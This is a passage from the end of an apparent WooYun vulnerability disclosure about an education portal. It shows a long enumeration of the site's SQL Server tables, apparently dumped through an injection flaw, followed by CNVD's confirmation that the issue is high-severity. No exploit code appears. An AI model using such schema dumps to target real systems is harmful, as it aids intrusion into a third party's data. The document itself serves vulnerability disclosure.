| dbo.JToupiaoZhuti | 9 |
| dbo.LXDaoXueFaBuBanJi | 9 |
| dbo.MMenhuYouqingFenlei | 9 |
| dbo.XJiaocai | 9 |
| dbo.BAnquanRenyuan | 8 |
| dbo.BPaikeGongkaikeMingxi | 8 |
| dbo.BPaikeJiaoxue | 8 |
| dbo.BRenshiKuozhan | 8 |
| dbo.BWenjuanDanjuanM | 8 |
| dbo.GYingyongYonghuTupian | 8 |
| dbo.JQunzhuhuodong | 8 |
| dbo.KTongShijianBiao | 8 |
| dbo.WPingkeJiben | 8 |
| dbo.ZMenhuRenyuanDefen | 8 |
| dbo.ZMingshiXunlianTaolun | 8 |
| dbo.ZZiyuanShipinJilu | 8 |
| dbo.BCheliangSiji | 7 |
| dbo.BHuiyiShi | 7 |
| dbo.BKaoqinWaichu | 7 |
| dbo.BPinglunMoban | 7 |
| dbo.BRenshiBiandong | 7 |
| dbo.BTongxunFenzu | 7 |
| dbo.BWenjuanMoban | 7 |
| dbo.SKaoshiLeixing | 7 |
| dbo.ZMingshiXunlianPinggu | 7 |
| dbo.ZMingshiXunlianShezhi | 7 |
| dbo.BAnquanQianyi | 6 |
| dbo.BDajishi | 6 |
| dbo.BKaoqinChuchai | 6 |
| dbo.JJigou | 6 |
| dbo.KTongJiangzhang | 6 |
| dbo.MMenhuXitongLanmu | 6 |
| dbo.WBofangqiPifu | 6 |
| dbo.ZMingshiXunlianShipin | 6 |
| dbo.ZMingshiXunlianWenjian | 6 |
| dbo.BAnquanPeixun | 5 |
| dbo.BDaiBanTixing | 5 |
| dbo.BKaoqinShijian | 5 |
| dbo.BKaoshi | 5 |
| dbo.BLuntanAdmin | 5 |
| dbo.BPingguHuodong | 5 |
| dbo.BPinglunGuanli | 5 |
| dbo.BWenjuanShili | 5 |
| dbo.GDanweiYingyong | 5 |
| dbo.JJibeiFansi | 5 |
| dbo.JJibeiZiyuanFujian | 5 |
| dbo.PPingtaiTongzhi | 5 |
| dbo.SNandu | 5 |
| dbo.ZMingshiXunlianNeirong | 5 |
| dbo.ZMingshiXunlianPostLiebiao | 5 |
| dbo.ZMingshiZhuantiWenjian | 5 |
| dbo.BGongZiTiao_Kz | 4 |
| dbo.BKaoqinQingjia | 4 |
| dbo.BShensuAnli | 4 |
| dbo.BXieTongTixing | 4 |
| dbo.JJibeiFansiGuanxi | 4 |
| dbo.JjifenRenwu | 4 |
| dbo.JjifenShouhuo | 4 |
| dbo.JXiezuozuLeixing | 4 |
| dbo.KTongZuoyeFujian | 4 |
| dbo.LXDaoXueBiJi | 4 |
| dbo.LXSaiKeBiaoZhunXiang | 4 |
| dbo.MMenhuBanquan | 4 |
| dbo.MMenhuJuese | 4 |
| dbo.MMenhuJueseRenyuan | 4 |
| dbo.MMenhuPeizhi | 4 |
| dbo.MMenhuTianqi | 4 |
| dbo.WPingkeJieguo | 4 |
| dbo.XXueduan | 4 |
| dbo.ZMingshiPingjiaMubiao | 4 |
| dbo.ZMingshiXunlianDaan | 4 |
| dbo.ZMingshiXunlianRenyuan | 4 |
| dbo.ZMingshiXunlianWenti | 4 |
| dbo.BCheliangJiayou | 3 |
| dbo.BKebiaoJiaoshiGuanxi | 3 |
| dbo.BKebiaoXueqi | 3 |
| dbo.BPingguMoban | 3 |
| dbo.BPinglunGuanliMinxi | 3 |
| dbo.BYunpanMulu | 3 |
| dbo.JJibeiFujian | 3 |
| dbo.JJibeiRenwuMobanM | 3 |
| dbo.JQingziGuanxi | 3 |
| dbo.LXDaoXueWenJianJia | 3 |
| dbo.MMenhuBanshi | 3 |
| dbo.PPingtaiTupian | 3 |
| dbo.WeChat | 3 |
| dbo.WGerenShipinGuanxi | 3 |
| dbo.WXJiemudan | 3 |
| dbo.BCheliang | 2 |
| dbo.BKebiaoJiaoshi | 2 |
| dbo.BLuntanFujian | 2 |
| dbo.BRenshiJianli | 2 |
| dbo.BRenshiKuozhanXuanxiang | 2 |
| dbo.BRenshiYonghuKuozhan | 2 |
| dbo.BRenwuJieshuJilu | 2 |
| dbo.BZuoye | 2 |
| dbo.GFenxiang | 2 |
| dbo.GYingyongDalei | 2 |
| dbo.JHuodongZiyuan | 2 |
| dbo.JJiaoshiLvli | 2 |
| dbo.JXiezuozuHuodong | 2 |
| dbo.JZidianLeixing | 2 |
| dbo.KTongUCFunjian | 2 |
| dbo.LXBanBanTongDaYi | 2 |
| dbo.LXDaoXueDaYi | 2 |
| dbo.LXDaoXueDaYiHuiDa | 2 |
| dbo.LXSaiKe | 2 |
| dbo.LXSaiKeBiaoZhun | 2 |
| dbo.MMenhuBanshiSheding | 2 |
| dbo.WShipin | 2 |
| dbo.WXZhibo | 2 |
| dbo.XYunyi | 2 |
| dbo.ZMingshiGonggao | 2 |
| dbo.ZZiyuanPinglun | 2 |
| dbo.BAnquanAnianC | 1 |
| dbo.BAnquanAnianM | 1 |
| dbo.BAnquanJianchaxiangmu | 1 |
| dbo.BCheliangBaoxian | 1 |
| dbo.BCheliangBaoyang | 1 |
| dbo.BCheliangNianjian | 1 |
| dbo.BCheliangWeixiu | 1 |
| dbo.BCheliangWeizhang | 1 |
| dbo.BGerenKeti | 1 |
| dbo.BGerenLunwen | 1 |
| dbo.BGerenRongyu | 1 |
| dbo.BGongzuoJiShu | 1 |
| dbo.BKaoqinQingjiaShenqing | 1 |
| dbo.BKebiaoTeshuAnpai | 1 |
| dbo.BRenshiGuanxi | 1 |
| dbo.BRenshiLunwen | 1 |
| dbo.BRenshiPeixun | 1 |
| dbo.BRenshiRongyu | 1 |
| dbo.BZichan | 1 |
| dbo.BZichanLeixing | 1 |
| dbo.BZichanShenqing | 1 |
| dbo.GShipin | 1 |
| dbo.JHuodongRenyuan | 1 |
| dbo.JJifenShangpin | 1 |
| dbo.JZaixianTongji | 1 |
| dbo.LXDaoXueShiTi | 1 |
| dbo.PPingtaiMozuChakan | 1 |
| dbo.RPengyouDengji | 1 |
| dbo.SMobanYangshi | 1 |
| dbo.WBofangqi | 1 |
| dbo.WPingkeLeixing | 1 |
| dbo.XDiquForBushu | 1 |
| dbo.ZiDianFenLei | 1 |
+--------------------------------+---------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-11 18:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江西分中心,由其后续协调网站管理单位处置.

最新状态:

暂无